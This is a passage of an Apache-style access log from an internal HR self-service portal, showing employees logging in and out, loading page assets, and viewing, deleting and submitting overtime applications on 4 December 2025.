Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:57:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:10:57:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:57:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.52 - - [04/Dec/2025:10:57:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:57:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.146 - - [04/Dec/2025:10:58:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [04/Dec/2025:10:58:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.146 - - [04/Dec/2025:10:58:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [04/Dec/2025:10:58:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.146 - - [04/Dec/2025:10:58:54 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [04/Dec/2025:10:58:54 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 192.168.11.146 - - [04/Dec/2025:10:58:58 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [04/Dec/2025:10:58:58 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.146 - - [04/Dec/2025:10:59:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [04/Dec/2025:10:59:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.146 - - [04/Dec/2025:10:59:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [04/Dec/2025:10:59:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.146 - - [04/Dec/2025:10:59:12 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 302 121 192.168.11.146 - - [04/Dec/2025:10:59:12 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 200 11552 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/css/blueprint/ie.css HTTP/1.1" 200 851 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/css/blueprint/ie.css HTTP/1.1" 200 851 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/css/default.css HTTP/1.1" 200 7957 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/css/default.css HTTP/1.1" 200 7957 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 200 3837 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 200 2477 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:13 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/img/login.swf HTTP/1.1" 200 2760 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/img/login.swf HTTP/1.1" 200 2760 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/img/loginbg.gif HTTP/1.1" 200 7026 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/img/img1.jpg HTTP/1.1" 200 33358 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:10:59:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.11.146 - - [04/Dec/2025:10:59:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [04/Dec/2025:10:59:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.146 - - [04/Dec/2025:10:59:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [04/Dec/2025:10:59:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.146 - - [04/Dec/2025:10:59:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [04/Dec/2025:10:59:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457 192.168.11.146 - - [04/Dec/2025:10:59:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 166080 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [04/Dec/2025:10:59:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 166080 192.168.11.146 - - [04/Dec/2025:10:59:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 166080 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [04/Dec/2025:10:59:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 166080 192.168.11.146 - - [04/Dec/2025:11:00:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&action=delete&overtime_flowseqno=1364760 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [04/Dec/2025:11:00:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&action=delete&overtime_flowseqno=1364760 HTTP/1.1" 302 - 192.168.11.146 - - [04/Dec/2025:11:00:08 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1364760+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [04/Dec/2025:11:00:08 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1364760+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105 192.168.11.146 - - [04/Dec/2025:11:00:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [04/Dec/2025:11:00:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800 192.168.11.146 - - [04/Dec/2025:11:00:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [04/Dec/2025:11:00:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.146 - - [04/Dec/2025:11:00:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [04/Dec/2025:11:00:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.146 - - [04/Dec/2025:11:00:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [04/Dec/2025:11:00:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.146 - - [04/Dec/2025:11:00:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [04/Dec/2025:11:00:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 302 - 192.168.11.146 - - [04/Dec/2025:11:00:23 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [04/Dec/2025:11:00:23 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 192.168.11.146 - - [04/Dec/2025:11:00:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [04/Dec/2025:11:00:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800 192.168.11.146 - - [04/Dec/2025:11:00:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; 